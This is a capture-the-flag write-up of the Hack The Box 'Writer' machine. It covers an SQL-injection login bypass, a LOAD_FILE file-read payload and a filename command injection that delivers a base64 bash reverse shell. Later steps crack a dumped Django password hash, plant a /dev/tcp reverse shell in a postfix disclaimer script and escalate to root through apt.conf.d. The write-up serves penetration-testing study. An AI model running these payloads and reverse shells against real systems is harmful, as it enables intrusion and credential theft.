---
# System prepended metadata

title: Writer Writeup Hackthebox
tags: [CTF, Hack-The-Box]

---

### Enumeration

```
Starting Nmap 7.92 ( https://nmap.org ) at 2021-12-09 23:43 EAT
Nmap scan report for 10.10.11.101
Host is up (0.21s latency).
Not shown: 995 closed tcp ports (conn-refused)
PORT     STATE    SERVICE      VERSION
22/tcp   open     ssh          OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 98:20:b9:d0:52:1f:4e:10:3a:4a:93:7e:50:bc:b8:7d (RSA)
|   256 10:04:79:7a:29:74:db:28:f9:ff:af:68:df:f1:3f:34 (ECDSA)
|_  256 77:c4:86:9a:9f:33:4f:da:71:20:2c:e1:51:10:7e:8d (ED25519)
80/tcp   open     http         Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Story Bank | Writer.HTB
139/tcp  open     netbios-ssn  Samba smbd 4.6.2
445/tcp  open     netbios-ssn  Samba smbd 4.6.2
2909/tcp filtered funk-dialout
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Host script results:
|_clock-skew: 16m36s
| smb2-security-mode: 
|   3.1.1: 
|_    Message signing enabled but not required
|_nbstat: NetBIOS name: WRITER, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
| smb2-time: 
|   date: 2021-12-09T21:00:31
|_  start_date: N/A

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 57.76 seconds
```

Found it running with Samba !

```
┌[cyberwarriors]─[23:44-09/12]─[/home/tahaafarooq/Desktop/hackthebox/machines/MEDIUM/writer/mytest]
└╼tahaafarooq$smbclient -L //10.10.11.101/ -N

	Sharename       Type      Comment
	---------       ----      -------
	print$          Disk      Printer Drivers
	writer2_project Disk      
	IPC$            IPC       IPC Service (writer server (Samba, Ubuntu))
SMB1 disabled -- no workgroup available
```

I now decide to run `enum4linux` to get more information about this machine, as it's running I was able to know the two domains ; `WRITER` and `Builtin` , and I was also able to get a user:

```
 ============================= 
|    Users on 10.10.11.101    |
 ============================= 
index: 0x1 RID: 0x3e8 acb: 0x00000010 Account: kyle	Name: Kyle Travis	Desc: 

user:[kyle] rid:[0x3e8]
```

But more users started popping up when enumeration was performed on users via RID cycling, where i was able to get 3 usernames which are :
```=
kyle
john
nobody
```

Since I now have the usernames but no password , so I check the web:

![](https://i.imgur.com/qqWbGDY.png)

I didn't find anything interesting , so i decide to perform a dirbust , using gobuster, and as it's running I was able to get `/administrative`

![](https://i.imgur.com/eYXudbg.png)

which is actually an admin panel:

![](https://i.imgur.com/zjPvz3D.png)

I get curious to try out bypassing the login with sqli as my first move!

![](https://i.imgur.com/M5jMxuC.png)

and voila!! I was redirected to the Dashboard!

![](https://i.imgur.com/MAsicbR.png)

### EXPLOITATION

I tried reading the database with sqlmap , but didn't work as I expected ,so the only move left was for me to do it manually , which had me doing a lot of trials ! and query structuring , because each query I wrote would either run or bring back an error, after a few trials , I was able to come up with a query that would read the files witha help of a friend after struggling for hours!

![](https://i.imgur.com/ADwUmtw.png)

So it worked with the payload : `uname=admin' UNION ALL SELECT 0,LOAD_FILE('/etc/passwd'),2,3,4,5;--&password=anything`

`UNION ALL SELECT 0,LOAD_FILE('/etc/passwd'),2,3,4,5;--`

The next thing I do now is read the apache conf files, So as I can get a hand upon the source codes! and to do that I read : `/etc/apache2/sites-enabled/000-default.conf`

![](https://i.imgur.com/gAgfX1T.png)

`WSGIScriptAlias / /var/www/writer.htb/writer.wsgi`

this line caught up my eyes and I decided to read it up, since now we know that the web is hosted from `/var/www/writer.htb/`

writer.wsgi
```python
Welcome admin#!/usr/bin/python
import sys
import logging
import random
import os

# Define logging
logging.basicConfig(stream=sys.stderr)
sys.path.insert(0,&#34;/var/www/writer.htb/&#34;)

# Import the __init__.py from the app folder
from writer import app as application
application.secret_key = os.environ.get(&#34;SECRET_KEY&#34;, &#34;&#34;)
```

and I got another hint from the code :`# Import the __init__.py from the app folder`

so let's try reading `__init__.py`

and here is the code:

```python=
Welcome adminfrom flask import Flask, session, redirect, url_for, request, render_template
from mysql.connector import errorcode
import mysql.connector
import urllib.request
import os
import PIL
from PIL import Image, UnidentifiedImageError
import hashlib

app = Flask(__name__,static_url_path=&#39;&#39;,static_folder=&#39;static&#39;,template_folder=&#39;templates&#39;)

#Define connection for database
def connections():
    try:
        connector = mysql.connector.connect(user=&#39;admin&#39;, password=&#39;ToughPasswordToCrack&#39;, host=&#39;127.0.0.1&#39;, database=&#39;writer&#39;)
        return connector
    except mysql.connector.Error as err:
        if err.errno == errorcode.ER_ACCESS_DENIED_ERROR:
            return (&#34;Something is wrong with your db user name or password!&#34;)
        elif err.errno == errorcode.ER_BAD_DB_ERROR:
            return (&#34;Database does not exist&#34;)
        else:
            return (&#34;Another exception, returning!&#34;)
    else:
        print (&#39;Connection to DB is ready!&#39;)

#Define homepage
@app.route(&#39;/&#39;)
def home_page():
    try:
        connector = connections()
    except mysql.connector.Error as err:
            return (&#34;Database error&#34;)
    cursor = connector.cursor()
    sql_command = &#34;SELECT * FROM stories;&#34;
    cursor.execute(sql_command)
    results = cursor.fetchall()
    return render_template(&#39;blog/blog.html&#39;, results=results)

#Define about page
@app.route(&#39;/about&#39;)
def about():
    return render_template(&#39;blog/about.html&#39;)

#Define contact page
@app.route(&#39;/contact&#39;)
def contact():
    return render_template(&#39;blog/contact.html&#39;)

#Define blog posts
@app.route(&#39;/blog/post/&lt;id&gt;&#39;, methods=[&#39;GET&#39;])
def blog_post(id):
    try:
        connector = connections()
    except mysql.connector.Error as err:
            return (&#34;Database error&#34;)
    cursor = connector.cursor()
    cursor.execute(&#34;SELECT * FROM stories WHERE id = %(id)s;&#34;, {&#39;id&#39;: id})
    results = cursor.fetchall()
    sql_command = &#34;SELECT * FROM stories;&#34;
    cursor.execute(sql_command)
    stories = cursor.fetchall()
    return render_template(&#39;blog/blog-single.html&#39;, results=results, stories=stories)

#Define dashboard for authenticated users
@app.route(&#39;/dashboard&#39;)
def dashboard():
    if not (&#39;user&#39; in session):
        return redirect(&#39;/&#39;)
    return render_template(&#39;dashboard.html&#39;)

#Define stories page for dashboard and edit/delete pages
@app.route(&#39;/dashboard/stories&#39;)
def stories():
    if not (&#39;user&#39; in session):
        return redirect(&#39;/&#39;)
    try:
        connector = connections()
    except mysql.connector.Error as err:
            return (&#34;Database error&#34;)
    cursor = connector.cursor()
    sql_command = &#34;Select * From stories;&#34;
    cursor.execute(sql_command)
    results = cursor.fetchall()
    return render_template(&#39;stories.html&#39;, results=results)

@app.route(&#39;/dashboard/stories/add&#39;, methods=[&#39;GET&#39;, &#39;POST&#39;])
def add_story():
    if not (&#39;user&#39; in session):
        return redirect(&#39;/&#39;)
    try:
        connector = connections()
    except mysql.connector.Error as err:
            return (&#34;Database error&#34;)
    if request.method == &#34;POST&#34;:
        if request.files[&#39;image&#39;]:
            image = request.files[&#39;image&#39;]
            if &#34;.jpg&#34; in image.filename:
                path = os.path.join(&#39;/var/www/writer.htb/writer/static/img/&#39;, image.filename)
                image.save(path)
                image = &#34;/img/{}&#34;.format(image.filename)
            else:
                error = &#34;File extensions must be in .jpg!&#34;
                return render_template(&#39;add.html&#39;, error=error)

        if request.form.get(&#39;image_url&#39;):
            image_url = request.form.get(&#39;image_url&#39;)
            if &#34;.jpg&#34; in image_url:
                try:
                    local_filename, headers = urllib.request.urlretrieve(image_url)
                    os.system(&#34;mv {} {}.jpg&#34;.format(local_filename, local_filename))
                    image = &#34;{}.jpg&#34;.format(local_filename)
                    try:
                        im = Image.open(image) 
                        im.verify()
                        im.close()
                        image = image.replace(&#39;/tmp/&#39;,&#39;&#39;)
                        os.system(&#34;mv /tmp/{} /var/www/writer.htb/writer/static/img/{}&#34;.format(image, image))
                        image = &#34;/img/{}&#34;.format(image)
                    except PIL.UnidentifiedImageError:
                        os.system(&#34;rm {}&#34;.format(image))
                        error = &#34;Not a valid image file!&#34;
                        return render_template(&#39;add.html&#39;, error=error)
                except:
                    error = &#34;Issue uploading picture&#34;
                    return render_template(&#39;add.html&#39;, error=error)
            else:
                error = &#34;File extensions must be in .jpg!&#34;
                return render_template(&#39;add.html&#39;, error=error)
        author = request.form.get(&#39;author&#39;)
        title = request.form.get(&#39;title&#39;)
        tagline = request.form.get(&#39;tagline&#39;)
        content = request.form.get(&#39;content&#39;)
        cursor = connector.cursor()
        cursor.execute(&#34;INSERT INTO stories VALUES (NULL,%(author)s,%(title)s,%(tagline)s,%(content)s,&#39;Published&#39;,now(),%(image)s);&#34;, {&#39;author&#39;:author,&#39;title&#39;: title,&#39;tagline&#39;: tagline,&#39;content&#39;: content, &#39;image&#39;:image })
        result = connector.commit()
        return redirect(&#39;/dashboard/stories&#39;)
    else:
        return render_template(&#39;add.html&#39;)

@app.route(&#39;/dashboard/stories/edit/&lt;id&gt;&#39;, methods=[&#39;GET&#39;, &#39;POST&#39;])
def edit_story(id):
    if not (&#39;user&#39; in session):
        return redirect(&#39;/&#39;)
    try:
        connector = connections()
    except mysql.connector.Error as err:
            return (&#34;Database error&#34;)
    if request.method == &#34;POST&#34;:
        cursor = connector.cursor()
        cursor.execute(&#34;SELECT * FROM stories where id = %(id)s;&#34;, {&#39;id&#39;: id})
        results = cursor.fetchall()
        if request.files[&#39;image&#39;]:
            image = request.files[&#39;image&#39;]
            if &#34;.jpg&#34; in image.filename:
                path = os.path.join(&#39;/var/www/writer.htb/writer/static/img/&#39;, image.filename)
                image.save(path)
                image = &#34;/img/{}&#34;.format(image.filename)
                cursor = connector.cursor()
                cursor.execute(&#34;UPDATE stories SET image = %(image)s WHERE id = %(id)s&#34;, {&#39;image&#39;:image, &#39;id&#39;:id})
                result = connector.commit()
            else:
                error = &#34;File extensions must be in .jpg!&#34;
                return render_template(&#39;edit.html&#39;, error=error, results=results, id=id)
        if request.form.get(&#39;image_url&#39;):
            image_url = request.form.get(&#39;image_url&#39;)
            if &#34;.jpg&#34; in image_url:
                try:
                    local_filename, headers = urllib.request.urlretrieve(image_url)
                    os.system(&#34;mv {} {}.jpg&#34;.format(local_filename, local_filename))
                    image = &#34;{}.jpg&#34;.format(local_filename)
                    try:
                        im = Image.open(image) 
                        im.verify()
                        im.close()
                        image = image.replace(&#39;/tmp/&#39;,&#39;&#39;)
                        os.system(&#34;mv /tmp/{} /var/www/writer.htb/writer/static/img/{}&#34;.format(image, image))
                        image = &#34;/img/{}&#34;.format(image)
                        cursor = connector.cursor()
                        cursor.execute(&#34;UPDATE stories SET image = %(image)s WHERE id = %(id)s&#34;, {&#39;image&#39;:image, &#39;id&#39;:id})
                        result = connector.commit()

                    except PIL.UnidentifiedImageError:
                        os.system(&#34;rm {}&#34;.format(image))
                        error = &#34;Not a valid image file!&#34;
                        return render_template(&#39;edit.html&#39;, error=error, results=results, id=id)
                except:
                    error = &#34;Issue uploading picture&#34;
                    return render_template(&#39;edit.html&#39;, error=error, results=results, id=id)
            else:
                error = &#34;File extensions must be in .jpg!&#34;
                return render_template(&#39;edit.html&#39;, error=error, results=results, id=id)
        title = request.form.get(&#39;title&#39;)
        tagline = request.form.get(&#39;tagline&#39;)
        content = request.form.get(&#39;content&#39;)
        cursor = connector.cursor()
        cursor.execute(&#34;UPDATE stories SET title = %(title)s, tagline = %(tagline)s, content = %(content)s WHERE id = %(id)s&#34;, {&#39;title&#39;:title, &#39;tagline&#39;:tagline, &#39;content&#39;:content, &#39;id&#39;: id})
        result = connector.commit()
        return redirect(&#39;/dashboard/stories&#39;)

    else:
        cursor = connector.cursor()
        cursor.execute(&#34;SELECT * FROM stories where id = %(id)s;&#34;, {&#39;id&#39;: id})
        results = cursor.fetchall()
        return render_template(&#39;edit.html&#39;, results=results, id=id)

@app.route(&#39;/dashboard/stories/delete/&lt;id&gt;&#39;, methods=[&#39;GET&#39;, &#39;POST&#39;])
def delete_story(id):
    if not (&#39;user&#39; in session):
        return redirect(&#39;/&#39;)
    try:
        connector = connections()
    except mysql.connector.Error as err:
            return (&#34;Database error&#34;)
    if request.method == &#34;POST&#34;:
        cursor = connector.cursor()
        cursor.execute(&#34;DELETE FROM stories WHERE id = %(id)s;&#34;, {&#39;id&#39;: id})
        result = connector.commit()
        return redirect(&#39;/dashboard/stories&#39;)
    else:
        cursor = connector.cursor()
        cursor.execute(&#34;SELECT * FROM stories where id = %(id)s;&#34;, {&#39;id&#39;: id})
        results = cursor.fetchall()
        return render_template(&#39;delete.html&#39;, results=results, id=id)

#Define user page for dashboard
@app.route(&#39;/dashboard/users&#39;)
def users():
    if not (&#39;user&#39; in session):
        return redirect(&#39;/&#39;)
    try:
        connector = connections()
    except mysql.connector.Error as err:
        return &#34;Database Error&#34;
    cursor = connector.cursor()
    sql_command = &#34;SELECT * FROM users;&#34;
    cursor.execute(sql_command)
    results = cursor.fetchall()
    return render_template(&#39;users.html&#39;, results=results)

#Define settings page
@app.route(&#39;/dashboard/settings&#39;, methods=[&#39;GET&#39;])
def settings():
    if not (&#39;user&#39; in session):
        return redirect(&#39;/&#39;)
    try:
        connector = connections()
    except mysql.connector.Error as err:
        return &#34;Database Error!&#34;
    cursor = connector.cursor()
    sql_command = &#34;SELECT * FROM site WHERE id = 1&#34;
    cursor.execute(sql_command)
    results = cursor.fetchall()
    return render_template(&#39;settings.html&#39;, results=results)

#Define authentication mechanism
@app.route(&#39;/administrative&#39;, methods=[&#39;POST&#39;, &#39;GET&#39;])
def login_page():
    if (&#39;user&#39; in session):
        return redirect(&#39;/dashboard&#39;)
    if request.method == &#34;POST&#34;:
        username = request.form.get(&#39;uname&#39;)
        password = request.form.get(&#39;password&#39;)
        password = hashlib.md5(password.encode(&#39;utf-8&#39;)).hexdigest()
        try:
            connector = connections()
        except mysql.connector.Error as err:
            return (&#34;Database error&#34;)
        try:
            cursor = connector.cursor()
            sql_command = &#34;Select * From users Where username = &#39;%s&#39; And password = &#39;%s&#39;&#34; % (username, password)
            cursor.execute(sql_command)
            results = cursor.fetchall()
            for result in results:
                print(&#34;Got result&#34;)
            if result and len(result) != 0:
                session[&#39;user&#39;] = username
                return render_template(&#39;success.html&#39;, results=results)
            else:
                error = &#34;Incorrect credentials supplied&#34;
                return render_template(&#39;login.html&#39;, error=error)
        except:
            error = &#34;Incorrect credentials supplied&#34;
            return render_template(&#39;login.html&#39;, error=error)
    else:
        return render_template(&#39;login.html&#39;)

@app.route(&#34;/logout&#34;)
def logout():
    if not (&#39;user&#39; in session):
        return redirect(&#39;/&#39;)
    session.pop(&#39;user&#39;)
    return redirect(&#39;/&#39;)

if __name__ == &#39;__main__&#39;:
   app.run(&#34;0.0.0.0&#34;)
```

### INITIAL FOOTHOLD

From reading the code , i was able to see a part of a condition where `os.system()` was used and there could be a command injection on the file name:

```python
if request.form.get('image_url'):
	    image_url = request.form.get('image_url')
	    if ".jpg" in image_url:
		try:
		    local_filename, headers = urllib.request.urlretrieve(image_url)
		    os.system("mv {} {}.jpg".format(local_filename, local_filename))
		    image = "{}.jpg".format(local_filename)
		    try:
			im = Image.open(image) 
			im.verify()
			im.close()
			image = image.replace('/tmp/','')
			os.system("mv /tmp/{} /var/www/writer.htb/writer/static/img/{}".format(image, image))
			image = "/img/{}".format(image)
		    except PIL.UnidentifiedImageError:
			os.system("rm {}".format(image))
			error = "Not a valid image file!"
			return render_template('add.html', error=error)
```

So I now make up a base64 encoded payload which shall be executed to give back a reverse shell , and then I shall create a file before the whole rev shell given , and on the file it shall be named something.jpg and then backtick + base64 encoded payload + | base64 -d + | bash

```
┌[cyberwarriors]─[00:32-10/12]─[/home/tahaafarooq/Desktop/hackthebox/machines/MEDIUM/writer/mytest]
└╼tahaafarooq$touch 'something.jpg; `echo YmFzaCAtYyAnYmFzaCAtaSAmPi9kZXYvdGNwLzEwLjEwLjE0LjIwMS8xMjM0IDwmMSc= | base64 -d | bash `;'
```
just like that and now it's show time!

BURPSUITE

![](https://i.imgur.com/NYVRjuL.png)

REVSHELL

![](https://i.imgur.com/vAWIBkz.png)

So we now have initial foothold as `www-data`
So now I just perform some lateral movement and I was able to find the share folder that was also in smb , `writer2_project`

```
www-data@writer:/var/www/writer2_project$ ls -al
ls -al
total 32
drwxrws--- 6 www-data smbgroup 4096 Aug  2 06:52 .
drwxr-xr-x 5 root     root     4096 Jun 22 17:55 ..
-r-xr-sr-x 1 www-data smbgroup  806 Dec  9 22:04 manage.py
-r-xr-sr-x 1 www-data smbgroup   15 Dec  9 22:04 requirements.txt
dr-xr-sr-x 3 www-data smbgroup 4096 May 16  2021 static
dr-xr-sr-x 4 www-data smbgroup 4096 Jul  9 10:59 staticfiles
dr-xr-sr-x 4 www-data smbgroup 4096 May 19  2021 writer_web
dr-xr-sr-x 3 www-data smbgroup 4096 May 19  2021 writerv2
```

but nothing important was in there so I now try checking for the behavior

```
netstat -ant
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address           Foreign Address         State      
tcp        0      0 127.0.0.1:3306          0.0.0.0:*               LISTEN     
tcp        0      0 0.0.0.0:139             0.0.0.0:*               LISTEN     
tcp        0      0 127.0.0.1:8080          0.0.0.0:*               LISTEN     
tcp        0      0 127.0.0.53:53           0.0.0.0:*               LISTEN     
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN     
tcp        0      0 127.0.0.1:25            0.0.0.0:*               LISTEN     
tcp        0      0 0.0.0.0:445             0.0.0.0:*               LISTEN     
tcp        0      0 127.0.0.1:3306          127.0.0.1:38616         ESTABLISHED
tcp        0      1 10.10.11.101:53446      1.1.1.1:53              SYN_SENT   
tcp        0      0 127.0.0.1:38616         127.0.0.1:3306          ESTABLISHED
tcp        0      0 10.10.11.101:52290      10.10.14.111:4444       CLOSE_WAIT 
tcp        0     13 10.10.11.101:44898      10.10.14.201:1234       ESTABLISHED
tcp6       0      0 :::139                  :::*                    LISTEN     
tcp6       0      0 :::80                   :::*                    LISTEN     
tcp6       0      0 :::22                   :::*                    LISTEN     
tcp6       0      0 :::445                  :::*                    LISTEN     
tcp6       0      0 10.10.11.101:80         10.10.14.201:49460      ESTABLISHED
```

I can see that port 3306 is running internally, so my next move now is try looking for the configurations files inside `/etc/mysql`

```
www-data@writer:/etc/mysql$ ls -la
ls -la
total 32
drwxr-xr-x   4 root root 4096 Jul  9 10:59 .
drwxr-xr-x 102 root root 4096 Jul 28 06:32 ..
drwxr-xr-x   2 root root 4096 May 18  2021 conf.d
-rwxr-xr-x   1 root root 1620 May  9  2021 debian-start
-rw-------   1 root root  261 May 18  2021 debian.cnf
-rw-r--r--   1 root root  972 May 19  2021 mariadb.cnf
drwxr-xr-x   2 root root 4096 May 18  2021 mariadb.conf.d
lrwxrwxrwx   1 root root   24 May 18  2021 my.cnf -> /etc/alternatives/my.cnf
-rw-r--r--   1 root root  839 Aug  3  2016 my.cnf.fallback
```

Reading `mariadb.cnf` I was able to get creds:

```
www-data@writer:/etc/mysql$ cat mariadb.cnf
cat mariadb.cnf
# The MariaDB configuration file
#
# The MariaDB/MySQL tools read configuration files in the following order:
# 1. "/etc/mysql/mariadb.cnf" (this file) to set global defaults,
# 2. "/etc/mysql/conf.d/*.cnf" to set global options.
# 3. "/etc/mysql/mariadb.conf.d/*.cnf" to set MariaDB-only options.
# 4. "~/.my.cnf" to set user-specific options.
#
# If the same option is defined multiple times, the last one will apply.
#
# One can use all long options that the program supports.
# Run program with --help to get a list of available options and with
# --print-defaults to see which it would actually understand and use.

#
# This group is read both both by the client and the server
# use it for options that affect everything
#
[client-server]

# Import all .cnf files from configuration directory
!includedir /etc/mysql/conf.d/
!includedir /etc/mysql/mariadb.conf.d/

[client]
database = dev
user = djangouser
password = DjangoSuperPassword
default-character-set = utf8
```

Now I try logging in with those creds :

```
www-data@writer:/etc/mysql$ mysql -u djangouser -h 127.0.0.1 -p
mysql -u djangouser -h 127.0.0.1 -p
Enter password: DjangoSuperPassword

show databases;

exit;
ERROR 1064 (42000) at line 4: You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near 'exit' at line 1
Database
dev
information_schema
```

I was able to log in but the results were soo crazy , like I would write in an input , but the output would only show when I exit......SMH

```
www-data@writer:/etc/mysql$ mysql -u djangouser -h 127.0.0.1 -p
mysql -u djangouser -h 127.0.0.1 -p
Enter password: DjangoSuperPassword
use dev;
show tables;
exit
Tables_in_dev
auth_group
auth_group_permissions
auth_permission
auth_user
auth_user_groups
auth_user_user_permissions
django_admin_log
django_content_type
django_migrations
django_session
```

This is torture :(

```
www-data@writer:/etc/mysql$ mysql -u djangouser -h 127.0.0.1 -p
mysql -u djangouser -h 127.0.0.1 -p
Enter password: DjangoSuperPassword
use dev;
select * from auth_user;
exit
id	password	last_login	is_superuser	username	first_name	last_name	email	is_staff	is_active	date_joined
1	pbkdf2_sha256$260000$wJO3ztk0fOlcbssnS1wJPD$bbTyCB8dYWMGYlz4dSArozTY7wcZCS7DV6l5dpuXM4A=	NULL	1	kylekyle@writer.htb	1	1	2021-05-19 12:41:37.168368
```

Alright something at last ! I was able to now get this password which was in a weird hash format that I never encountered before ! and it was for user `kyle` the one we got on the instance we decided to execute `enum4linux` , So time for hashcat to play it's role!

```
┌[cyberwarriors]─[01:05-10/12]─[/home/tahaafarooq/Desktop/hackthebox/machines/MEDIUM/writer/mytest]
└╼tahaafarooq$hashcat -a 0 -m 10000 hash --wordlist /opt/SecLists/Passwords/Leaked-Databases/rockyou-55.txt
```

![](https://i.imgur.com/MGXM96m.png)

And finally the password is `marcoantonio`, now time to SSH

### SSH-ing to Kyle

![](https://i.imgur.com/UDiCLbl.png)

Now checking a list of files available at this user's home dir we got something interesting:

```
kyle@writer:~$ ls
disclaimer  sendmail.py  user.txt
```

__DISCLAIMER__

```bash
kyle@writer:~$ cat disclaimer 
#!/bin/bash
# Localize these.
bash -i &>/dev/tcp/10.10.14.111/4444 0>&1
INSPECT_DIR=/var/spool/filter
SENDMAIL=/usr/sbin/sendmail

# Get disclaimer addresses
DISCLAIMER_ADDRESSES=/etc/postfix/disclaimer_addresses

# Exit codes from <sysexits.h>
EX_TEMPFAIL=75
EX_UNAVAILABLE=69

# Clean up when done or when aborting.
trap "rm -f in.$$" 0 1 2 3 15

# Start processing.
cd $INSPECT_DIR || { echo $INSPECT_DIR does not exist; exit
$EX_TEMPFAIL; }

cat >in.$$ || { echo Cannot save mail to file; exit $EX_TEMPFAIL; }

# obtain From address
from_address=`grep -m 1 "From:" in.$$ | cut -d "<" -f 2 | cut -d ">" -f 1`

if [ `grep -wi ^${from_address}$ ${DISCLAIMER_ADDRESSES}` ]; then
  /usr/bin/altermime --input=in.$$ \
                   --disclaimer=/etc/postfix/disclaimer.txt \
                   --disclaimer-html=/etc/postfix/disclaimer.txt \
                   --xheader="X-Copyrighted-Material: Please visit http://www.company.com/privacy.htm" || \
                    { echo Message content rejected; exit $EX_UNAVAILABLE; }
fi

$SENDMAIL "$@" <in.$$

exit $?
```

__SENDMAIL__
```python
import smtplib
host = '127.0.0.1'
port = 25

sender_email = "kyle@writer.htb"
receiver_email = "kyle@writer.htb"
message = """\
Subject: Hi there

Test_python_sender."""

try:
    server = smtplib.SMTP(host, port)
    server.ehlo()
    server.sendmail(sender_email, receiver_email, message)
except Exception as e:
    print(e)
finally:
    server.quit()k
```

So after reading the disclaimer bash script I understood that it's executed to get an approve of some sort when an email is sent, so we can add a reverse shell to it and then copy it to `/etc/postfix` and we can send an email to the user john who apparently should have the next link to root , since we can't send the email directly to root, not sure if we can...

```
kyle@writer:~$ cat disclaimer 
#!/bin/bash
# Localize these.
bash -i &>/dev/tcp/10.10.14.201/1337 0>&1
INSPECT_DIR=/var/spool/filter
SENDMAIL=/usr/sbin/sendmail

# Get disclaimer addresses
DISCLAIMER_ADDRESSES=/etc/postfix/disclaimer_addresses

# Exit codes from <sysexits.h>
EX_TEMPFAIL=75
EX_UNAVAILABLE=69

# Clean up when done or when aborting.
trap "rm -f in.$$" 0 1 2 3 15

# Start processing.
cd $INSPECT_DIR || { echo $INSPECT_DIR does not exist; exit
$EX_TEMPFAIL; }

cat >in.$$ || { echo Cannot save mail to file; exit $EX_TEMPFAIL; }

# obtain From address
from_address=`grep -m 1 "From:" in.$$ | cut -d "<" -f 2 | cut -d ">" -f 1`

if [ `grep -wi ^${from_address}$ ${DISCLAIMER_ADDRESSES}` ]; then
  /usr/bin/altermime --input=in.$$ \
                   --disclaimer=/etc/postfix/disclaimer.txt \
                   --disclaimer-html=/etc/postfix/disclaimer.txt \
                   --xheader="X-Copyrighted-Material: Please visit http://www.company.com/privacy.htm" || \
                    { echo Message content rejected; exit $EX_UNAVAILABLE; }
fi

$SENDMAIL "$@" <in.$$

exit $?
```

and now we copy this file to `/etc/postfix`, tried it manually but I wasn't too fast ,so I guess I need to write a script to simplify this!

So I now write a python script that will simplify sending the message real quick!

```python=
#!/usr/bin/env python3

import smtplib

host = '127.0.0.1'
port = 25

From = 'kyle@writer.htb'
To = 'john@writer.htb'

Message = '''\
        Subject: Greetings John

        You are hacked!
        '''
try:
    io = smtplib.SMTP(host,port)
    io.ehlo()
    io.sendmail(From,To,Message)
except Exception as e:
    print(e)
finally:
    io.quit()
```

![](https://i.imgur.com/yylLk0l.png)

And I now have shell as john

```
┌─[tahaafarooq@cyberwarriors]─[~]
└──╼ $nc -lvnp 1234
listening on [any] 1234 ...
connect to [10.10.14.145] from (UNKNOWN) [10.10.11.101] 50584
bash: cannot set terminal process group (16906): Inappropriate ioctl for device
bash: no job control in this shell
john@writer:/var/spool/postfix$ whoami && hostname
whoami && hostname
john
writer
```

So i tried checking the groups i'm in hoping i'd at least be sudo 

```
john@writer:~$ id
uid=1001(john) gid=1001(john) groups=1001(john),1003(management)
```

but found out i'm in a group known as `management` So I now look for files that I can access using that group!

```
john@writer:~$ find / -group management 2>/dev/null
/etc/apt/apt.conf.d
```

I dig more about what I could do and found : https://www.hackingarticles.in/linux-for-pentester-apt-privilege-escalation/

### PRIVILEGE ESCALATION

And found out that `apt-get update` is running after every second I guess, and we could exploit this since we have writer permissions to the `apt.conf.d` folder, by writing a malicious file giving it a line which will allow us to get a reverse shell once it's updated

![](https://i.imgur.com/kKgzG6n.png)

```
┌─[tahaafarooq@cyberwarriors]─[~]
└──╼ $nc -lvnp 1337
listening on [any] 1337 ...
connect to [10.10.14.145] from (UNKNOWN) [10.10.11.101] 52518
bash: cannot set terminal process group (17712): Inappropriate ioctl for device
bash: no job control in this shell
root@writer:/tmp# whoami
whoami
root
root@writer:/tmp# id
id
uid=0(root) gid=0(root) groups=0(root)
```

And Now ROOT IS EARNED